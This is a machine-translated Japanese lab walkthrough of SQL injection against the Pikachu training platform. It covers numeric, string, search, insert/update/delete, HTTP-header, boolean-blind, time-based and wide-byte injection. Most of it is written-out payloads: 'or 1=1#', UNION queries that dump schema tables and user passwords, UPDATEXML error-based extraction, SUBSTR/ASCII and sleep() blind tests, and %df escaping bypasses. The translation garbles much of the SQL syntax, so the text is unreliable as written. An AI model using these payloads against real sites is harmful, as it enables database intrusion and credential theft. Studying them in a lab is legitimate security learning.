デジタル型注入:
インターフェースを見た後、我々は唯一見つけるID(1-6)を入力し、の試してみましょう:
テストに注入すると、我々は舞台裏提出パラメータがどのように動作するかを考える必要があります。私たちは、それがユーザー名とメールボックスを返し、Dを提出しました。通常、我々のデータは、データベース内にある、と私たちはIDを提出する際、背景には、データベースクエリにこの引数を取ります。
それは私たちが合格ステートメントPOSTパラメータ値で作られているので、変数に渡し、そのデータベースを照会。私たちが推測するように、クエリの背景には、以下の
$ ID = $ _ POST [ 'ID']
1-6選択フィールド1、ID = 1 $のID番号が本明細書中に提供されているテーブルからフィールド2
私たちは見て捕まります:
そして、一つの値だけを返し、そして今私は侵入者だ、ああどのように行う、私はパケットを傍受し、私は、ライブラリ内の他のデータが欲しいです!
限り、我々はなど、このタイプZihengを、許可するよう、入力に関わらず、その結果、正しい結果を返している:私たちはもう一度試してスタイルID 1または1 = 1に変更します。
この場合、この時点でデジタルインジェクションの脆弱性の明らかな存在です。
第二に、文字インジェクション(GET)
入力したユーザが存在しない場合、それはユーザーが存在しないよう指示されます:私たちは、インタフェースが何かを入力して自由にご覧ください。また、これは我々がURLに合格したしますGETリクエストパラメータであります
このため、クエリ、入力されたユーザ名が文字列であるので、クエリ文が単一引用符が必要です。私は、SQLクエリステートメントの背景を推測します
$名= $ _ GET [ 'ユーザ名'] フィールド1、ユーザ名は「$名を」=テーブルからフィールド2を選択
私たちは、次のようにペイロード構造は、最初の単一引用符のバックグラウンドでクエリを閉じて、閉じを構築する必要があり、次いで第2の単一引用符をコメントアウト
ユーザ名 'or'1' = '1' #
コメントの3種類がありますMySQLの:
①#
② - (最も後方のスペース)
③/ ** /インラインコメント、この中間体は、SQL文で使用することができます。選択* / * SQLI * /ユーザーから。
私たちは、破壊者と成功しているユーザー情報のすべてを参照してください!
第三に、検索式射出:
私は最初だけで効果を入力しようとするだろう。
我々は、ユーザーが当社のユーザー名に存在する文字を検索するとき、それは対応を返すことがわかります。私たちは、アイデンティティを構築します!
select文:Lの% 'または' 1 '=' 1「#
四、XX型注入:
テストした後、私たちはその注入や文字を見つけましたが、荷物は何もの形式と同じではありません!シングル閉じ括弧は、単一引用符を言いません
G ')または1 = 1#
ファイブ我々は再び普及知識を確認し、:
挿入/更新/削除の注入
これら3例では、我々は労働組合を使用することはできません ので、共同調査を行うために、これは、クエリが、操作ではありません。
関数所与注射(UPDATEXML)に基づきます
一般に使用されるエラー関数:UPDATEXML()、EXTRACTVALUE()、床()
情報へのアクセスを与えられる機能に基づいて(選択/挿入/更新/削除)
ヒントのアイデア:
- MySQLの製造誤差にいくつかの指定された関数を使用して、設定情報から取得したエラー情報
- 選択/挿入/更新/削除のエラーは、情報を取得するために使用することができます
背景条件:
- いいえシールドバックグラウンド・データベース・エラー・メッセージは、エラーが文法に発生したときに前方に出力されません
3つの一般に使用される機能
- UPDATEXML():MySQLのXML文書データのクエリとXPathの機能を変更します
- EXTRACTVALUE():MySQLのXML文書のデータのXPathクエリ機能
- 床():丸め機能のためのMySQL
UPDATEXML()
変更の値は、XML文書修飾ノード(検索と置換):UPDATEXML()関数の役割
语法:UPDATEXML(XML_document、XPath_string、NEW_VALUE)
第一引数:XML_documentがString形式、XMLドキュメントオブジェクトの名前、ドキュメントのテキストであります
第二引数:XPath構文を理解していない場合XPath_string(XPath文字列フォーマットは)、あなたがオンラインチュートリアルを見つけることができます。しかし、あまりここより。
第三引数:NEW_VALUE、文字列の形式、資格を見つけるためにデータを交換します
- XPath構文:https://www.cnblogs.com/Loofah/archive/2012/05/10/2494036.html
XPathロケーションが有効である必要があり、そうでない場合はエラーが発生します
ピカチュウプラットフォーム移植実験上の私たちの文字が、我々は、エラーメッセージを取得するために使用しました。
組合の共同注入:単語が推測され、その後、二分法に、裁判に私たちの位相を行きます。
最初のステップ:4#によって1「)の順序:フィールドの数を決定します
2番号:1' )順序
フィールドの数が2である知っているかもしれません
ステップ2:使用するデータベースを取得するための共同のクエリ:ピカチュウ
1' )組合選択データベース()、2#
第三段階:クエリデータベーステーブル
1 ')組合選択TABLE_SCHEMA、INFORMATION_SCHEMA.TABLESからTABLE_NAME TABLE_SCHEMA =' ピカチュウ "#
ステップ4:表中のユーザーのクエリのフィールド名:
1 ')組合選択TABLE_NAME、table_nameは= information_schema.columnsからCOLUMN_NAME' ユーザー#を
ステップ5:ユーザー名とパスワードを取得するための共同研究
1' )組合を選択し、ユーザー名、ユーザーからのパスワード#
UPDATEXML()注射与えられるタイプ:
1' とUPDATEXML(1、CONCAT(0x7Eを、バージョン())、0)#
私たちは、データのMySQLのバージョンを参照してください。その後、我々は()データベースの名前を取得することができますデータベースに()バージョンを置きます。
1' とUPDATEXML(1、CONCAT(0x7Eを、データベース())、0)#
查询表名:1' とUPDATEXML(1、CONCAT(0x7Eを、(TABLE_SCHEMA = INFORMATION_SCHEMA.TABLESから選択TABLE_NAME 'ピカチュウ'))、0)#
しかし、この場合は、一つの行を表示することができ、データの戻り複数の行、説明します。
溶液:我々は、(限界0,1)値は、最初のデータ0の最初の位置を変更することができ
1' とUPDATEXML(1、CONCAT(0x7Eを、(INFORMATION_SCHEMA.TABLES TABLE_SCHEMA =から選択TABLE_NAME 'ピカチュウ' 限界0,1))、0)#
2番目のテーブルの名前を照会する場合は、クエリ結果の最初のテーブル名以上の戻り値は、我々は限界に文を制限することができます1,1
最初の制限は、データが開始位置され、2番目の数字はストライプの数であり、フェッチ
すべてのテーブル名を削除し、フィールドを取得するために行ってきました
1' とUPDATEXML(1、CONCAT(0x7Eを、(ここで、TABLE_NAME = information_schema.columnsから選択COLUMN_NAME 'ユーザ' リミット0,1))、0)#
だから、すべての列名を削除します。我々は、データを取得することができます
1' とUPDATEXML(1、CONCAT(0x7Eを、(ユーザからの選択名が0,1を制限する))、0)##
そして、あまりにも近く追加し、それが問題に翻訳することができますMD5エンコーダを見つけるために、Baiduのないことが分かったクエリパスワードに、ユーザー名を取得
1' とUPDATEXML(1、CONCAT(0x7eの、(ユーザ名は=ユーザーから選択し、パスワードにadmin "リミット0,1))、0)#
EXTRACTVALUE()とUPDATEXML()は、兄弟、一貫した使用です。
六、挿入/更新の注入
共同問い合わせは使用できなかったので、エラーとそれを注射し!INSERTエラー:
更新の注入が与えられます。
七、削除注入
のは、我々は、除去プロセスに巻き込まれることができ、今突破口をされ、最後に、メッセージを残して、聞かせて、このインターフェイスを見てください!
またはエラータイプの声明:
ID = 1又はUPDATEXML(1、CONCAT(0x7Eを、データベース())、0)
それは、URLにあるので、URLをエンコードする必要があります。
我々は成功を参照してください!
八、HTTPヘッダーインジェクション:
詳述HTTPヘッダー
HTTP(HyperTextTransferProtocol)ハイパーテキスト転送プロトコル、現在のページの共通プロトコル伝送。HTTPプロトコルでは、サーバが応答を与える、ブラウザまたは他のクライアントが要求を行う、要求/応答モデルを使用しています。二つの部分にメッセージヘッダとメッセージボディを含む全体の伝送ネットワーク資源の観点。最初のパス配信メッセージ・ヘッダ、すなわちHTTPヘッダ情報。一般的なヘッダ、要求ヘッダー、応答:HTTPヘッダーメッセージは、通常、4つのセクションに分割されヘッダ、エンティティヘッダ。しかし、タスクが理解したこと、感じがあまり明確な境界です。ウィキペディアには2つの部分リクエストとレスポンスに分け組織HTTPヘッダコンテンツの形態を、係ります
まず、聞かせてのは、ログにログを見て、そこには頭の中に注入することができることを発見し、我々は捕まるする必要があります:
注意:我々は、ユーザーエージェントを参照するか、クッキーを注入することができます。
【のuname] =後で成功した注入を発見アリ:管理者「とUPDATEXML(1、CONCAT(0x7Eを、データベースは())、0)#は、クッキーを貼り付け
1 'またはUPDATEXML(1、CONCAT(0x7eの、データベース())、0)、または' ユーザー・エージェントは、図に示すように、突き出しGo]をクリックし、見つけることができます。
ナイン、SQLブラインド(ベース上boolian)
ブラインド、我々は、通常はエラーや誤った情報を返すので、多くの作業、再び患者する必要が注入されます。
もちろん、私たちは二分法の数量を減らすために、この時間を使用することができます:1「とASCII(SUBSTR(データベース()、1,1))= 112#エコー真で、データベースを推測する最初の単語は、pです
1' とASCII(SUBSTR TABLE_SCHEMA =データベース()限界0,1 INFORMATION_SCHEMA.TABLESから((セレクトテーブル名)、1,1))> 112#回显错误...
テン:SQLブラインド(オンタイムベース)
時間ベースのブラインドは、データが正しい遅れているとき、エラーがない返されます。
1 'とIF((SUBSTR(データベース()、1,1))=' P」、睡眠(5)、NULL)#メイク判断データベースの名前で、SUBSTRによる最初のデータベースを、データベースを取り出す場合などpは5秒、その後の復帰のために一時停止する等しい場合、文字は、Pを取り出し、比較します
広い注入バイトXI
我々は、単一引用符は「\のようにエスケープされて入力すると、SQLステートメントを構築することができない、彼らは、注入しようとすることができ、広いバイト。GBKは、符号化コードは、従来のが「接続」されているバックスラッシュ「%5cと」であり、「%5cとDF%」ピカチュウのプラットフォームでは、BurpSuiteは、我々は通常のテストペイロードを使用する場合、ペイロードが正常に実行することができない、それに書かれているリピーターに送信されたパケットを傍受使用しますが、以下のペイロードは文句を言うでしょう。
神戸」または1 = 1#
単一引用符がバックグラウンドでエスケープされているので、より多くのデータベースにバックスラッシュを実行するとき。我々は、単一引用符プラス%DFの前に、次のペイロードを使用免れるだけでは成功の引用符を聞かせすることができます。
12.その他の措置は、SQLインジェクションました:
上記の方法に加えて、このようなブルート・ワードトロイの木馬SQLMAPツールなど、他の方法が、あります。